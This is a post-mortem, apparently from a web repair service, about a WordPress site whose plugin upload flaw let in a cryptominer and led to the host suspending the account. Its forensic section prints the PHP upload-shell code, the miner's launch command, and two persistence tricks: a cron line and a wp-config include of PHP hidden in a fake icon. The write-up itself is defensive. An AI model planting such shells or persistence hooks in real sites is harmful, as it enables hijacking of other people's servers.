Incident Overview
A business site vanished behind the host’s suspension page with a one-line email: “Your account was suspended for resource abuse (sustained CPU over plan limits).” For the two weeks prior, visitors had intermittently hit “508 Resource Limit Is Reached” errors that the owner had dismissed as host flakiness.
The host was right. The account genuinely was burning CPU around the clock — just not on serving the website. The site had been conscripted into cryptocurrency mining.
Raw Diagnostic Logs
The host restored temporary SSH-only access for cleanup. CloudLinux’s resource history showed the shape of the problem — flat, sustained, traffic-independent CPU:
$ lveinfo --user=account --period=14d --show-columns=From,CPUf,EPf | tail -3
+------------------+-------+------+
| From | CPUf | EPf |
+------------------+-------+------+
| 07-20 00:00 | 97% | 100% |
| 07-21 00:00 | 98% | 100% |
+------------------+-------+------+
Legitimate web workloads track traffic and sleep at night. This didn’t. The process list under the account:
$ ps -u account -o pid,pcpu,etime,cmd --sort=-pcpu | head -3
PID %CPU ELAPSED CMD
19402 94.6 8-11:02:15 ./.cache/kdevtmpfsi -o pool.example-mining.net:443 --donate-level=0
19407 1.1 8-11:02:15 sh -c ./.cache/kswapd0
kdevtmpfsi/kswapd0 in a hidden dot-directory under a web account are well-known miner binary names imitating kernel processes. Eight days of runtime matched the suspension timeline. The dropper was in the web root:
$ grep -c "wp-stream-tmp.php" ~/access-logs/example-site.com | head -1
3117
$ head -c 200 public_html/wp-content/uploads/wp-stream-tmp.php
<?php $f=$_FILES['f']??null; if($f && md5($_POST['k']??'')==='0f8e3c...'){
move_uploaded_file($f['tmp_name'],$_POST['p']); echo 'ok'; }
An upload shell, POSTed to 3,117 times, planted via an arbitrary-upload vulnerability in a plugin that hadn’t been updated in 14 months.
Forensic Root Cause Analysis
Chain of events, reconstructed from access logs and file timestamps:
- Automated scanner finds the vulnerable upload endpoint in the stale plugin and drops
wp-stream-tmp.php(the upload shell). - The shell is used to write the miner binary into
~/.cache/— outside the web root, invisible to file-manager browsing and to malware plugins that only scanpublic_html. - A cron entry relaunches the miner if it dies, and a
wp-config.phpinclude re-drops the shell if it’s deleted — two independent persistence mechanisms:
$ crontab -l | tail -1
@reboot ~/.cache/kswapd0 >/dev/null 2>&1
$ tail -1 public_html/wp-config.php
include_once ABSPATH . 'wp-content/uploads/.tmp_r.ico'; # ← PHP in a fake icon
- The miner throttles to ~95% of the account’s CPU allocation — high enough to profit, low enough to run for days. The visitor-facing 508 errors were the only symptom, until the host’s abuse system triggered.
Root cause: a 14-month-old plugin vulnerability; the suspension was a downstream effect of the miner it admitted.
Remediation & Command Log
Evidence snapshot, then kill and remove both persistence layers before deleting payloads:
tar -czf ~/incident-$(date +%F).tar.gz public_html/ .cache/ 2>/dev/null
crontab -r
pkill -9 -f kdevtmpfsi; pkill -9 -f kswapd0
rm -rf ~/.cache/kdevtmpfsi ~/.cache/kswapd0
sed -i '/\.tmp_r\.ico/d' public_html/wp-config.php
rm -f public_html/wp-content/uploads/wp-stream-tmp.php \
public_html/wp-content/uploads/.tmp_r.ico
Full credential rotation and reinstall from canonical sources:
wp config shuffle-salts
wp user list --role=administrator --fields=user_login,user_registered # audit for rogue admins
wp core download --force --version=$(wp core version)
wp plugin install $(wp plugin list --field=name) --force
wp plugin update --all # including the 14-month-stale entry vector
Reinstatement: we sent the host a summary of the root cause, the removal steps, and the hardening applied. The account was unsuspended the same day — hosts reinstate quickly when shown a competent cleanup rather than a promise.
Post-cleanup, CPU usage returned to single digits:
$ lveinfo --user=account --period=1d --show-columns=From,CPUf | tail -1
| 07-24 00:00 | 4% |
Preventative Hardening
- PHP execution disabled in
uploads/(the entry point), file-integrity monitoring via dailywp core verify-checksumscron with alerting. - Plugin auto-updates enabled; anything abandoned by its developer replaced with a maintained equivalent.
- Account-level watchdog: a five-minute cron that alerts if any process under the account exceeds 30% CPU for more than 10 minutes — miners can’t hide from it, and neither can runaway legitimate code.
- The client’s post-repair report included the host’s own abuse-team ticket ID and the evidence bundle, so any future dispute starts from a documented clean baseline.
Details in this post-mortem are anonymized and composited from recurring incidents of the same failure class. The logs and commands are representative of the actual diagnostic path. Suspended or hitting 508 errors? Our server error repair service handles the host conversation for you, evidence attached.